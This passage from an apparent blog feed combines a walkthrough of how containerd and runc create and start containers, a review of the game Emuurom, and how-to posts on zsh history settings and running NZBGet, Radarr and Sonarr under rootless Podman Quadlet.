bbolt keys meta.db v1 moby containers db58127f96bd2c5655eb53f516ba7efeafac3c7335c5f2389e2b8a329e034b11 spec
## Response:
##  0a3674797065732e636f6e7461...(lots hex value)
## decoded: .. "ociVersion":"1.3.0","process":{"terminal":true,"consoleSize":{"height":50,"width":212}, ...

1.2.3. Create Bundle & Spawn shim Daemon

ctr.NewTask() ends up as a "/containerd.services.tasks.v1.Tasks/Create" request to containerd.

The handler Create() first gets the container object from the boltdb meta.db [1] and sets up the create options [2]. Finally, rtime.Create() is called with these options [3].

// plugins/services/tasks/local.go
func (l *local) Create(ctx context.Context, r *api.CreateTaskRequest, _ ...grpc.CallOption) (*api.CreateTaskResponse, error) {
    container, err := l.getContainer(ctx, r.ContainerID) // [1]
    // [...]
    opts := runtime.CreateOpts{ // [2]
        Spec: container.Spec,
        IO: runtime.IO{
            Stdin:    r.Stdin,
            Stdout:   r.Stdout,
            Stderr:   r.Stderr,
            Terminal: r.Terminal,
        },
        // [...]
        Runtime:         container.Runtime.Name,
        // [...]
    }
    // [...]
    rtime := l.v2Runtime
    c, err := rtime.Create(ctx, r.ContainerID, opts) // [3]
    // [...]
}

Inside Create(), NewBundle() is called to create the runtime container directories and files [4]. Later, m.manager.Start() [5] spawns a containerd-shim-runc-v2 process as the container shim daemon. Finally, shimTask.Create() sends a CreateTaskRequest to the shim daemon, which in turn executes the command run create --bundle <bundle_dir>.

// core/runtime/v2/task_manager.go
func (m *TaskManager) Create(ctx context.Context, taskID string, opts runtime.CreateOpts) (_ runtime.Task, retErr error) {
    // [...]
    bundle, err := NewBundle(ctx, m.root, m.state, taskID, opts.Spec) // [4]
    shim, err := m.manager.Start(ctx, taskID, bundle, opts) // [5]
    shimTask, err := newShimTask(shim)
    // [...]
    t, err := func() (runtime.Task, error) {
        t, err := shimTask.Create(ctx, opts) // [6]
        // [...]
    }()
}

The OCI config file is created in NewBundle() with the path "/run/containerd/io.containerd.runtime.v2.task/<namespace>/<id>/config.json" [7].

// core/runtime/v2/bundle.go
func NewBundle(ctx context.Context, root, state, id string, spec typeurl.Any) (b *Bundle, err error) {
    // [...]
    ns, err := namespaces.NamespaceRequired(ctx) // ns == "moby"
    b = &Bundle{
        ID:        id,
        Path:      filepath.Join(state, ns, id), // state == "/run/containerd/io.containerd.runtime.v2.task/"
                                                 // id == "<container id>"
        // [...]
    }
    // [...]
    if spec != nil {
        if spec := spec.GetValue(); spec != nil {
            // [...]
            specPath := filepath.Join(b.Path, oci.ConfigFilename)
            err = os.WriteFile(specPath, spec, 0666) // [7]
        }
    }
    // [...]
}

The actual command for spawning a shim process looks like:

The arguments of the command executed by the shim daemon to create a container consist of the global part (before create) and the sub-command part (after create).

/usr/bin/runc \
--root /var/run/docker/runtime-runc/moby \
--log /run/containerd/io.containerd.runtime.v2.task/moby/636494bd4a69bdaa80604b4ac2f7a0fee7bcdd58cb8f5884c2101666fbb24dd5/log.json \
--log-format json \
--systemd-cgroup \
create \
--bundle /run/containerd/io.containerd.runtime.v2.task/moby/636494bd4a69bdaa80604b4ac2f7a0fee7bcdd58cb8f5884c2101666fbb24dd5 \
--pid-file /run/containerd/io.containerd.runtime.v2.task/moby/636494bd4a69bdaa80604b4ac2f7a0fee7bcdd58cb8f5884c2101666fbb24dd5/init.pid \
636494bd4a69bdaa80604b4ac2f7a0fee7bcdd58cb8f5884c2101666fbb24dd5

1.2.4. Enter the Container

In the final step, tsk.Start() is called to send a "/containerd.services.tasks.v1.Tasks/Start" request to containerd, whose handler is Start() in local.go.

This function first looks up the running task [1] and then sends a StartRequest to the shim daemon to start the container [2].

// plugins/services/tasks/local.go
func (l *local) Start(ctx context.Context, r *api.StartRequest, _ ...grpc.CallOption) (*api.StartResponse, error) {
    t, err := l.getTask(ctx, r.ContainerID) // [1]
    // [...]
    p := runtime.Process(t)
    // [...]
    if err := p.Start(ctx); err != nil { // <--------
        // [...]
    }
    // [...]
}

// core/runtime/v2/shim.go
func (s *shimTask) Start(ctx context.Context) error {
    _, err := s.task.Start(ctx, &task.StartRequest{ // [2]
        ID: s.ID(),
    })
    // [...]
}

On the shim daemon side, the command runc start <id> is executed to unblock the init process that runc create left parked just before execve().

The actual command line looks like:

/usr/bin/runc \
--root /var/run/docker/runtime-runc/moby \
--log /run/containerd/io.containerd.runtime.v2.task/moby/636494bd4a69bdaa80604b4ac2f7a0fee7bcdd58cb8f5884c2101666fbb24dd5/log.json \
--log-format json \
--systemd-cgroup \
start \
636494bd4a69bdaa80604b4ac2f7a0fee7bcdd58cb8f5884c2101666fbb24dd5

2. Runc Internal

Here, we try to understand how runc loads the container by reviewing the source code.

2.1. Cmd: create

The command “create” handler is startContainer(). It indirectly calls start(), which in turn calls createExecFifo() [1] to create a FIFO file and builds the init command by calling newParentProcess() [2]. Finally, parent.start() is called to execute runc init [3].

// create.go
var createCommand = &cli.Command{
    Name:  "create",
    Action: func(_ context.Context, cmd *cli.Command) error {
        // [...]
        status, err := startContainer(cmd, CT_ACT_CREATE, nil) // <--------
        // [...]
    },
}

// libcontainer/container_linux.go
func (c *Container) start(process *Process) (retErr error) {
    if process.Init {
        // [...]
        if err := c.createExecFifo(); err != nil { // [1]
            return err
        }
        // [...]
    }

    // [...]
    parent, err := c.newParentProcess(process) // [2]

    if err := parent.start(); err != nil { // [3]
        // [...]
    }
}

newParentProcess() prepares the command line for /proc/self/fd/<runc_fd> init. The command and process information are wrapped into an initProcess object and returned [4].

// libcontainer/container_linux.go
func (c *Container) newParentProcess(p *Process) (parentProcess, error) {
    else {
        // [...]
        safeExe, err = exeseal.CloneSelfExe(c.stateDir)
        // [...]
        exePath = "/proc/self/fd/" + strconv.Itoa(int(safeExe.Fd()))
        // [...]
    }
    cmd := exec.Command(exePath, "init")
    cmd.Args[0] = os.Args[0]
    // [...]
    if p.Init {
        // [...]
        return c.newInitProcess(p, cmd, comm) // [4]
    }
}

parent.start() is then called to fork a child process and execve runc init [5].

Now there are two processes. The child (runc init) is the one that enters the new namespaces and sets up the container environment from the inside, such as mounting the filesystem and applying seccomp rules. It is the same process that will later execve the user’s command.

The parent stays on the host as a privileged helper, doing the things the child can’t do once it’s inside the namespaces: applying cgroups, providing the uid/gid maps, and running host-side hooks.

The two coordinate over a sync socket p.comm.syncSockParent [6]. Once the child is ready, the parent will receive the procReady event [7] and exit.

// libcontainer/process_linux.go
func (p *initProcess) start() (retErr error) {
    // [...]
    err := p.cmd.Start() // [5]

    // [...]
    if err := p.manager.Apply(p.pid()) // set up cgroups

    if err := p.createNetworkInterfaces(); err != nil {
        // [...]
    }

    if err := p.setupNetworkDevices(); err != nil {
        // [...]
    }

    if p.config.Config.HasHook(configs.CreateContainer, configs.StartContainer) {
        // [...]
    }

    ierr := parseSync(p.comm.syncSockParent /* [6] */, func(sync *syncT) error {
        case procMountPlease:
            // [...]
        case procSeccomp:
            // [...]
        case procReady: // [7]
            // [...]
        case procHooks:
            // [...]
        // [...]
    })
    // [...]
    return nil
}

Let’s see how runc init works.

2.2. Cmd: init

Before looking at the “init” implementation, we have to talk about the nsexec() constructor.

A Golang binary can use cgo to refer to C functions. Here, the nsexec() function works as a C constructor, so it is triggered before main().

// libcontainer/nsenter/nsenter.go
/*
#cgo CFLAGS: -Wall
extern void nsexec();
void __attribute__((constructor)) init(void) {
    nsexec();
}
*/
import "C"

It does nothing if there is no pipe [1], but for runc init, because its parent process (runc create) sets up this environment variable for it, it passes the check and continues to run. The comment also implies the same thing.

This env is set to one side of the init socket pair [2] when runc create is preparing the command line of the init process.

// libcontainer/container_linux.go
func (c *Container) newParentProcess(p *Process) (parentProcess, error) {
    // [...]
    cmd.ExtraFiles = append(cmd.ExtraFiles, comm.initSockChild) // [2]
    cmd.Env = append(cmd.Env,
        "_LIBCONTAINER_INITPIPE="+strconv.Itoa(stdioFdCount+len(cmd.ExtraFiles)-1),
    )
    // [...]
}

Going back to nsexec(), we can see that it holds a complex stage machine to set up the isolated environment.

The diagram below may help you understand the whole flow.

stage-0  (STAGE_PARENT)  // in host namespaces
        |  parse netlink bootstrap (cloneflags, uid/gid maps...)
 (child)|
 +------|  clone_parent(&env, STAGE_CHILD)
 |      |
 |      |  stage-1 >> SYNC_USERMAP_PLS
 |      |                                 write /proc/<stage-1>/uid_map, gid_map
 |      |  stage-1 << SYNC_USERMAP_ACK
 |      |
 |      |
 |      |  stage-1 >> SYNC_RECVPID_PLS
 |      |                                 receives stage-2 pid, forwards up to Go
 |      |  stage-1 << SYNC_RECVPID_ACK
 |      |  stage-1 >> SYNC_CHILD_FINISH
 |      +  exit(0)
 |
 |
 |
 +-> stage-1  (STAGE_CHILD) // inside several new namespaces
        |  setns(provided namespaces)
        |
        |  try_unshare(CLONE_NEWUSER)
        |  SYNC_USERMAP_PLS >> stage-0
        |  (waiting...)
        |  SYNC_USERMAP_ACK << stage-0
        |
        |  try_unshare(config.cloneflags)
 +------|  clone_parent(&env, STAGE_INIT)
 |      |
 |      |  SYNC_RECVPID_PLS >> stage-0
 |      |  (waiting...)
 |      |  SYNC_RECVPID_ACK << stage-0
 |      |  SYNC_CHILD_FINISH >> stage-0
 |      +  exit(0)
 |
 |
 |
 +-> stage-2  (STAGE_INIT) // inside ALL new namespaces, PID 1 in new pidns
        |  final cleanup
        +  return (and continue)

The stage-1 child is required because unshare(CLONE_NEWPID) doesn’t move itself into the new PID namespace. That is why after the stage-1 process calls setns() and unshare() all namespaces, it has to fork the stage-2 child process, whose pid is 1 in the new namespace.

In fact, init() works as initializer for init package, but this function covers all init command handling, and main() won’t be executed later. Internally, startInitialization() is called to recover file descriptors, reconstruct the init configuration, and synchronize status with its parent process, runc create.

// init.go
func init() {
    if len(os.Args) > 1 && os.Args[1] == "init" {
        libcontainer.Init() // <--------
    }
}

// libcontainer/init_linux.go
func Init() {
    // [...]
    if err := startInitialization(); err != nil { // <--------
        // [...]
    }
    // [...]
}

func startInitialization() (retErr error) {
    // [...]
    envInitPipe := os.Getenv("_LIBCONTAINER_INITPIPE")
    initPipeFd, err := strconv.Atoi(envInitPipe)
    initPipe := os.NewFile(uintptr(initPipeFd), "init") // use as Go file object
    // [...]
    var config initConfig
    if err := json.NewDecoder(initPipe).Decode(&config); err != nil {
        return err
    }
    // [...]
    return containerInit(it, &config, syncPipe, consoleSocket, pidfdSocket, fifoFile, logPipe)
}

containerInit() handles two init types. If a new container is being created, the init type will be initStandard [1]; otherwise, when attaching to an already-running container, initSetns is used [2].

// libcontainer/init_linux.go
func containerInit(t initType, config *initConfig, pipe *syncSocket, consoleSocket, pidfdSocket, fifoFile, logPipe *os.File) error {
    switch t {
    case initSetns: // [2]
        i := &linuxSetnsInit{
            // [...]
        }
        return i.Init()
    case initStandard: // [1]
        i := &linuxStandardInit{
            // [...]
        }
        return i.Init()
    }
}

runc init now is still root and has full privileges inside the namespaces. It sets up the environment inside the container, such as network routing [3] and the filesystem [4]. Later, it calls finalizeNamespace() [5] to drop capabilities, change the working directory, and close all leaked file descriptors.

Before executing the entrypoint binary [6], it reopens the FIFO file with only write permission [7], and this behavior causes runc init to be blocked until someone opens the same FIFO file with read permission.

// libcontainer/standard_init_linux.go
func (l *linuxStandardInit) Init() error {
    // [...]
    if err := setupNetwork(l.config); err != nil { // [3]
        return err
    }
    // [...]
    err := prepareRootfs(l.pipe, l.config) // [4]
    // [...]
    if err := finalizeNamespace(l.config); err != nil { // [5]
        return err
    }
    // [...]
    fifoFile, err := pathrs.Reopen(l.fifoFile, unix.O_WRONLY|unix.O_CLOEXEC) // [7]
    // [...]
    name, err := exec.LookPath(l.config.Args[0])
    // [...]
    return linux.Exec(name, l.config.Args, l.config.Env) // [6]
}

You can probably guess who the reader is. That’s right, it’s runc start!

2.3. Cmd: start

runc init is blocked and waiting for a reader, and now the status of the container is Created.

The shim handles the start-container request by executing runc start, and the action callback calls container.Exec() [1] when the status of the container is Created [2].

// start.go
var startCommand = &cli.Command{
    Name:  "start",
    Action: func(_ context.Context, cmd *cli.Command) error {
        // [...]
        container, err := getContainer(cmd)
        // [...]
        switch status {
        case libcontainer.Created: // [2]
                // [...]
            if err := container.Exec(); err != nil { // [1]
                // [...]
            }
        // [...]
        }
        // [...]
    }
}

Exec() finally calls handleFifo() [3] to open the FIFO file with read permission, which allows runc init to continue running and enter the container.

// libcontainer/container_linux.go
func (c *Container) Exec() error {
    // [...]
    return c.exec() // <--------
}

func (c *Container) exec() error {
    path := filepath.Join(c.stateDir, execFifoFilename)
    if err := handleFifo(path, c.initProcess.pid()); err != nil { // [3]
        // [...]
    }

    return c.postStart() // run Poststart hook
}

2.4. Others

If you want to test these behaviors directly by runc, you can follow the steps below.

First, create a bundle directory to save the root filesystem and config.json.

mkdir container_bundle
cd container_bundle

Then extract the root filesystem from a docker image into the rootfs directory.

docker create --name temp ubuntu:24.04
mkdir rootfs
docker export temp | tar -C rootfs -xvf -
docker rm temp

The runc “spec” command can generate a default OCI spec config.json.

runc spec

Modify config.json to update the entry command.

{
    "ociVersion": "1.2.1",
    "process": {
        ...
+       "terminal": false,
-       "terminal": true,
        "args": [
-           "sh"
+           "/usr/bin/sleep", "3600"
        ]

Now you can create a container based on the bundle.

sudo runc create --bundle . my_container_id

View the status of all containers, and our container is created.

sudo runc list
ID                PID         STATUS      BUNDLE                  CREATED                          OWNER
my_container_id   63886       created     /tmp/container_bundle   2026-06-04T03:54:00.492598105Z   root

If you list the fds of this container, you can find that there is a FIFO file.

ls -al /proc/63886/fd/
# [...]
l--------- 1 root root 64 Jun  4 11:55 7 -> /run/runc/my_container_id/exec.fifo
# [...]

After starting the container, you can see our entry command sleep 3600 is running now!

sudo runc start my_container_id

ps aux | grep sleep
root       64268  0.0  0.0   2704  1688 ?        Ss   12:05   0:00 /usr/bin/sleep 3600

3. Summary

This post covers the process of loading a container, including the implementation of runc. In the next post, I will analyze runtime replacement and the hook interfaces exposed by Docker, using the NVIDIA Toolkit as an example.

Emuurom

Fri, 19 Jun 2026 05:27:39 +0000

PC, Mac, Linux

Sometimes I play a game that’s so good, and so interestingly good, that I get too afraid to write about it. I’ve spent at least twenty hours playing Emuurom, and I suspect it could be a lot more, but have been putting off trying to explain it to you. Not because it, on the surface, is difficult to describe, or especially esoteric, but because I know that after all that time, I’ve really only played its surface, aware that there are layers beneath I’ve yet to comprehend, and – and I swear this is true – an entire language I’ve yet to learn and translate. I’ve put so much time into this game, and received so much joy from it, but I still fear that in covering it I’ll be getting it all wrong.

Then I remind myself that in 2024 I had a tremendous time playing what proved to only be the surface of Animal Well, and that worked out fine. No one died. It’s fine. Emuurom is a truly wonderful platforming metrdoidbrania that you can fully enjoy without digging beneath its surprisingly deep crust, and I need to get over that and just recommend you do.

So, given this, Emuurom (a name that is impossible to remember, let alone spell) is a puzzle platformer about a young girl exploring a vast, pixelated world of interconnecting rooms, in which you need to scan every creature, plant and enemy in order to build your Emuudex of data, and indeed gather their secrets that will allow you to better understand how you can interact with this world. It’s a game that’s as much about figuring out how to play as it is to actually play it, taking the “brania” format to incredibly interesting places. There’s also absolutely no combat at all, and yet I genuinely didn’t notice for a very long time.

Gah, I’m already feeling like I’m messing this up. I want you to understand how the scanning isn’t just data collection gimmick, but a core aspect of how you understand the game itself, a means of interaction that has intangible depths, and indeed a way of revealing so many meta secrets the game is hoping you will piece together. But I’m aware that while I’ve achieved this in a whole bunch of areas, I absolutely haven’t in others, and I know that I’ve not even tried to figure out the language that’s scattered throughout form the start. I should have! I should have sat down with pen and paper and got that done, but I’ve spent so much time playing this game on my Steam Deck in a comfy chair, and there were so many other angles to pursue.

This is a game that, I read on a Steam discussion, has a double-jump that only very few players have ever been able to figure out how to use, and if you do, it requires single-frame timing. You don’t need it, and there’s also another way to get an extra couple of pixels on a jump that you can stumble on or eventually be explicitly told if you follow some breadcrumbs enough in one direction.

This is a game where I spent literally two hours figuring out how to reunite a duck with its ducklings, fighting against currents and ridiculously floppy fish to achieve it, just to be given a hint to a way I could have been interacting since the start of the game. There’s a way to fast travel in this game that I’ve never even used. I still haven’t managed to scan the sodding swan. That sodding swan.

Given all this, and given that the game has received in total a single review from one person’s blog, and only 195 Steam reviews, I then feel this weight of responsibility that I have to make sure this game gets more attention. I’ll likely write an article about it on Kotaku that’s far more professional than this one because I know about something this extraordinary and everyone else doesn’t, and that puts an onus on me to fix it. I’ll accurately call it “This Year’s Animal Well” in the headline in the hope that this will convince skeptical readers to click. But this will remain my far more honest coverage.

This isn’t just incredibly smart in ways I find daunting, but crucially Emuurom (one M, two Us) is outstandingly well-made. You can’t have a game that conceals this much complexity without also having a top layer that’s a fantastic game in its own right. It’s exquisitely well put together, and that’s even more ridiculous because I haven’t even mentioned that the entire game is posed as a product of an imaginary TIC-80 console, loosely based on the Pico-8, because developer borbware wanted to introduce “idiosyncratic retro restrictions.” Who is borbware?! How are they able to create something this extraordinary as their first Steam game? Now I need to play everything on their Itch page to try to understand this process.

It’s like finding proof of alien life and not knowing if anyone will believe me when I try to tell them about it. This is too good. It’s even good in the way it’s bad, the annoying moments of controls (those damned fish in those damned currents) clearly being a deliberate design choice and my realising how their frustrations are actually integral to the experience. I’ve let my Patrons down by not writing this review and leaving the site fallow yet again because I was procrastinating in order to put off figuring out how to express this experience.

And then what if someone plays it and says, “Yeah John, it’s a neat puzzle platformer, but get a grip.” I need you all to believe, to feel like I do, like I’ve found a place in reality where I can put my hand through a solid object and feel the atoms. Not because it’s the best game ever! Not because it’s a profound game to play! Not because I have an emotional connection to it! None of that’s at all true! But because it feels like a bit of magic, and I need you to feel the magic too.

Or ignore this existential crisis and just recognise that I’ve played a super-good game that only costs £11, will give you long hours of excellent entertainment, and just pretend I didn’t lose my mind in the process of telling you about. Probably that.

borbware / Coyote Time Publishing
Steam (coming to Itch soon)
£11/$12.50/12.50€
Official site

All Buried Treasure articles are funded by Patreon backers. If you want to see more reviews of great indie games, please consider backing this project.

Prevent Kdenlive from Producing Millions of Log Lines on Linux

Thu, 18 Jun 2026 19:16:49 +0000

We'll go over how to disable Kdenlive's noisy logs so when you run journalctl it's not overtaking your output.

tmux: Swapping Windows and Rotating Panes

Thu, 18 Jun 2026 19:16:49 +0000

Here's a few handy shortcuts so you can rearrange whatever you're working on.

8 Useful Ways to Configure Your Zsh History — Nick Janetakis

Thu, 18 Jun 2026 19:16:49 +0000

Updated on June 2, 2026 in #dev-environment, #linux

8 Useful Ways to Configure Your Zsh History

Being able to search your shell history is important, this will help you control where and how your commands get saved.

Quick Jump:

Prefer video? Here it is on YouTube.

TL;DR:

# .zshrc file history related settings.

export HISTFILE="${XDG_CONFIG_HOME}/zsh/.zsh_history"
export HISTSIZE=50000          # History lines stored in memory.
export SAVEHIST=50000          # History lines stored on disk.
setopt EXTENDED_HISTORY        # Save history with timestamps.
setopt INC_APPEND_HISTORY_TIME # Immediately append commands and track duration.
setopt HIST_IGNORE_ALL_DUPS    # Never add duplicate entries.
setopt HIST_IGNORE_SPACE       # Ignore commands that start with a space.
setopt HIST_REDUCE_BLANKS      # Remove unnecessary blank lines.

I’m constantly searching through my history with CTRL+r using fzf. The above helps access your history over an extended period of time but also helps gain insights about how commands were run.

Besides finding a specific command, it helps answer questions like:

When was the last time I ran this command?
How long did it take to run this specific command?

Everything we’re about to cover here is included in DotFriedRice, so if you’re using that project you’re already good to go.

# HISTFILE

export HISTFILE="${XDG_CONFIG_HOME}/zsh/.zsh_history"

I like to follow the XDG specification when possible and don’t want to pollute my home directory with a bunch of shell configuration so I keep everything zsh related in $XDG_CONFIG_HOME/zsh. The only exception is I have ~/.zshenv which has export ZDOTDIR="${XDG_CONFIG_HOME:-"${HOME}/.config"}/zsh" so zsh knows where to look.

# HISTSIZE / SAVEHIST

export HISTSIZE=50000 # History lines stored in memory.
export SAVEHIST=50000 # History lines stored on disk.

It’s ok to splurge a little disk space and memory. For context on my machine, after 6 months of heavy terminal usage I have 4,937 items and it’s 245kb of disk space. At my current pace, 50k would be about 5 years of shell history coming in at under 2.5mb.

It’s likely even much longer than that because duplicate commands aren’t being saved so all of those common commands I ran initially won’t be saved again.

If I ever get close to hitting 50k then doubling it to 100k wouldn’t be a problem.

The reason I haven’t set it to something really high like 500k is because I haven’t tested the implications of having that much shell history, it’s mainly because of 2 reasons:

Your history will get read into memory every time you open a new shell and I want to make sure opening a new shell feels very fast
I use a zsh plugin that shows virtual text to auto-complete commands which does read your history and I want to make sure input latency when typing is effectively instant

Even on my machine from 2014, I feel no delay yet. I don’t know what will happen after 50k let alone 500k items. I’m not convinced I’d even hit 500k unique items in multiple life times on a desktop machine with a super heavy terminal based workflow. I’ll make sure to revisit this post if / when I approach 50k.

# EXTENDED_HISTORY

setopt EXTENDED_HISTORY # Save history with timestamps.

Knowing when you last run a command is quite helpful when troubleshooting. For example, maybe you ran a command to modify a udev setting and now you’re noticing side effects but you want to know exactly when that setting was applied because you want to compare it against logs you discovered elsewhere.

This is handy on desktop machines but it’s very useful on servers too and Bash supports a similar option in case you’re not using zsh on your server.

If you’re concerned about disk space, don’t sweat it. The timestamp metadata only adds about 1.2mb of space per 100,000 items.

Here’s what that timestamp metadata looks like with a command:

: 1780151606:28;man history

It’s actually quite clever. It starts with : because that’s a built-in null command that supports any number of arguments. Then the Unix timestamp is passed in for when the command was run with the duration in seconds after that.

The semi-colon (;) is used to split out the real command from your history. In my case I was looking at the history’s manual for 28 seconds.

It’s clever because if you copy / paste that entire line into your shell it will open the man pages for history because the metadata will do nothing. Really cool pattern! Using a comment # wouldn’t have worked because that would comment out the commend too.

Viewing your extended history:

history: Show your history like usual
history -i: Show your history with timestamps
history -D: Show your history with duration
history -iD: Show your history with both timestamps and duration

If time is something you want to filter on you can run history -i 1 to show all of your history with timestamps.

You can do things like history -i 1 | fzf to fuzzy search it in fzf or history -i 1 | grep 2026-06- to filter out history items for a specific month.

# INC_APPEND_HISTORY_TIME

setopt INC_APPEND_HISTORY_TIME # Immediately append commands and track duration.

As soon as your command finishes running, it’ll get written out along with how long it took to run. Knowing the duration is a quality of life enhancement.

With that said, if you have 2 terminals open (A and B), if you run a command in terminal A, its history won’t be automatically be put into terminal B’s history. If you want A’s history in B right now you can run fc -IR in B. That’ll load all commands from your history file (-R) that aren’t already loaded (-I) in your current shell on demand.

# HIST_IGNORE_ALL_DUPS

setopt HIST_IGNORE_ALL_DUPS # Never add duplicate entries.

Let’s say you run whoami 2 times. On the first command, it will get appended to your history. On the second command, zsh will notice it already exists, delete all instances of it and append it to end of your history. This way you always end up with the latest time you ran that command with the latest timestamp.

The uniqueness check is on the full command with all arguments. For example echo hello and echo world will produce 2 entries.

This means unique cd paths will be included which is handy since their arguments are different. I often run cd then press CTRL+r and use fzf to narrow down paths. I’ve written about this pattern before.

# HIST_IGNORE_SPACE

setopt HIST_IGNORE_SPACE # Ignore commands that start with a space.

I love this setting. It lets you run 1 off commands you don’t want saved to your history by starting the command with 1 or more spaces.

This could be a long multi-line shell script to test something that you don’t want cluttering your history or anything you want. Maybe it’s a file path that contains private information (client information, etc.).

# HIST_REDUCE_BLANKS

setopt HIST_REDUCE_BLANKS # Remove unnecessary blank lines.

This helps keep your history clean by squishing multiple adjacent spaces into 1 space. It also removes trailing whitespace and other unimportant blank characters.

These are only the settings I use. You can check Zsh’s manual for shell history.

The video below covers some of these being used in a terminal.

# Demo Video

Timestamps

0:36 – HISTFILE
1:31 – HISTSIZE / SAVEHIST
4:27 – EXTENDED_HISTORY
8:01 – INC_APPEND_HISTORY_TIME
9:37 – HIST_IGNORE_ALL_DUPS
11:16 – HIST_IGNORE_SPACE
13:00 – HIST_REDUCE_BLANKS
13:39 – The manual has more options
14:00 – Sharing your history between terminals

How do you have your zsh history configured? Let me know below.

Installing NZBGet, Radarr, and Sonarr on Rootless Podman and Quadlet

Thu, 18 Jun 2026 09:26:32 +0000

Time for some geeking out. I’m one of those fools who like to run their own local server with not cloud shenanigans. I’ve been running an Ubuntu server for a while with a bunch of individually installed services, but I wanted to try something more compartmentalized, easier to maintain and update. The obvious choice would have been Docker, but I like to make my life complicated so I installed Fedora with the plan of using Podman with Quadlet.

This post is mostly a note-to-self so I have some documentation of the process next time I need to reinstall everything.

I assume you already have Fedora (44 in my case) and podman installed. The first thing to do is to create the *.containers directory in your home for quadlet to use:

mkdir -p ~/.config/containers/systemd

nzbget, radarr and sonarr all need to talk in the same network, so we need to create a custom network for them. This is something I haven’t seen mentioned in other tutorials, but without this step I wasn’t able to get them to communicate properly.

In the directory we just created, add a file called ~/.config/containers/systemd/arr.network with the following content:

[Network]
NetworkName=arr_net

After a recent update, the DNS resolution inside the containers wasn’t working anymore, if you have the same issue you can also add the following lines to the file:

Next we need the volumes for the containers. I have a big storage drive mounted at /mnt/storage where I keep all my media and related files, so I created the following directories:

mkdir -p /mnt/storage/media/{nzbget,radarr,sonarr,downloads,Movies,TV}

Remember that we are creating a rootless setup, so we need to make sure that the user running the containers is the same as the owner of the files and directories; in my case is matteo.

NZBGet

Now we start configuring the actual containers. First NZBGet. Create a file called ~/.config/containers/systemd/nzbget.container with the following content:

[Unit]
Description=NZBGet
After=network-online.target

[Container]
Image=ghcr.io/nzbgetcom/nzbget:latest
ContainerName=nzbget

# Environment variables
Environment=PUID=0
Environment=PGID=0
Environment=TZ=Europe/Rome

# Ports and Volumes
Network=arr.network
PublishPort=6789:6789
Volume=/mnt/storage/media/nzbget:/config:Z
Volume=/mnt/storage/media/downloads:/downloads:z

# This enables automatic updates
AutoUpdate=registry

[Service]
Restart=always
TimeoutStartSec=900

[Install]
WantedBy=default.target

The file is pretty basic, the only thing to note is that we are using the custom network we created before (Network=arr.network)and that we are mounting the volumes with :Z and :z options to make sure SELinux doesn’t get in the way. It’s important to note the difference between uppercase and lowercase Z here, the former will allow only the container to access the volume, while the latter will allow other processes on the host to access it as well. Of course we want the downloads volume to be accessible from radarr and sonarr, so we use :z (lowercase) for that one.

Also note that we are setting PUID and PGID to 0. In a perfect world we would want to set these to the actual user and group IDs (eg: 1000), and then use podman unshare chown to change the ownership of the directory /mnt/storage/media. That totally works but doing so I can’t access the files and directories directly from the host without using sudo. Setting PUID and PGID to 0 might not be ideal but it seems to work. Let me know if you have a better solution for this. Remember that setting them to 0 in a non-root environment doesn’t give the container root privileges, so it shouldn’t be a security issue.

Let’s give nzbget a try before moving on to the other containers. Run the following command to start it:

systemctl --user daemon-reload
systemctl --user start nzbget

If everything went well you should be able to access the nzbget web interface at http://[server-ip]:6789 and log in with the default credentials (admin:tegbzn6789). At this point you should ensure that nzbget is using the correct paths, and of course you’ll need a news server.

Under settings > security make sure to set ControlIP to 0.0.0.0, and resolve any other issues outlined in the messages section.

Lingering

We also want to start nzbget automatically on boot. By default, rootless systemd --user sessions only start when a user logs in and tear down upon logout. To force the system to initialize your specific user session at boot, we need “lingering” enabled. Run this command with administrative privileges:

sudo loginctl enable-linger $USER

Radarr and Sonarr

Okay, time to move on to radarr. Create a file called ~/.config/containers/systemd/radarr.container with the following content:

[Unit]
Description=Radarr
After=network-online.target

[Container]
Image=lscr.io/linuxserver/radarr:latest 
ContainerName=radarr

Environment=PUID=0
Environment=PGID=0
Environment=TZ=Europe/Rome

Network=arr.network
PublishPort=7878:7878
Volume=/mnt/storage/media/radarr:/config:Z
Volume=/mnt/storage/media/downloads:/downloads:z
Volume=/mnt/storage/media/Movies:/movies:z

AutoUpdate=registry

[Service]
Restart=always
TimeoutStartSec=900

[Install]
WantedBy=default.target

The configuration is pretty much the same as nzbget, we just need to change the image, the container name, the ports and the volumes. The important thing is that we are using the same custom network (Network=arr.network) so that radarr can talk to nzbget. Same as before note the use of :Z and :z for the volumes.

And finally sonarr. Create a file called ~/.config/containers/systemd/sonarr.container with the following content:

[Unit]
Description=Sonarr
After=network-online.target

[Container]
Image=ghcr.io/linuxserver/sonarr:latest 
ContainerName=sonarr

Environment=PUID=0
Environment=PGID=0
Environment=TZ=Europe/Rome

Network=arr.network
PublishPort=8989:8989  
Volume=/mnt/storage/media/sonarr:/config:Z
Volume=/mnt/storage/media/downloads:/downloads:z
Volume=/mnt/storage/media/TV:/tv:z

AutoUpdate=registry

[Service]
Restart=always
TimeoutStartSec=900

[Install]
WantedBy=default.target

We can now start both radarr and sonarr with the same commands we used for nzbget:

systemctl --user daemon-reload
systemctl --user start radarr
systemctl --user start sonarr

If everything went well you should be able to access the web interfaces at http://[server-ip]:7878 for radarr and http://[server-ip]:8989 for sonarr. You can then configure them to use the correct paths, and of course set up the indexers and the connection to nzbget.

When creating a new Download Client in radarr and sonarr, make sure to use the actual IP address of the server (eg: 192.168.1.2). localhost or 127.0.0.1 won’t work.

Congratulations, you now have nzbget, radarr and sonarr running in rootless podman containers that start on boot. To have it also update automatically we need one more step.

Automatic Updates

Thanks to the AutoUpdate=registry, all containers are already configured to update automatically when a new image is available on the registry, but we need to enable the podman-auto-update.timer systemd timer to make it work considering my server is always on.

Run the following command:

systemctl --user enable --now podman-auto-update.timer

That’s it, now your containers will be automatically updated when a new image is available. You can check the status of the timer with:

systemctl --user status podman-auto-update.timer

It’s not technically recommended to have automatic updates, basically if it works, don’t touch it. But I like to live on the edge and I can always roll back to a previous image if something breaks.

Bonus: Reverse Proxy with nginx

Everything seems to be working, but I want to access the services with nice URLs like http://nzbget.cool.domain instead of http://192.168.1.2:6789. To do that I set up a reverse proxy with nginx. It’s pretty straightforward, but –again– SELinux can be a bit of a pain.

I’m already running a full authoritative DNS server with unbound so it’s easy for me to redirect custom domains to my server IP, but you can achieve the same result in multiple ways (like editing your hosts file or using a different DNS server or even PI-Hole).

For unbound I added the following lines to my configuration:

...
local-zone: "cool.domain." static
local-data: "nzbget.cool.domain. IN A 192.168.1.2"
local-data: "radarr.cool.domain. IN A 192.168.1.2"
local-data: "sonarr.cool.domain. IN A 192.168.1.2"
...
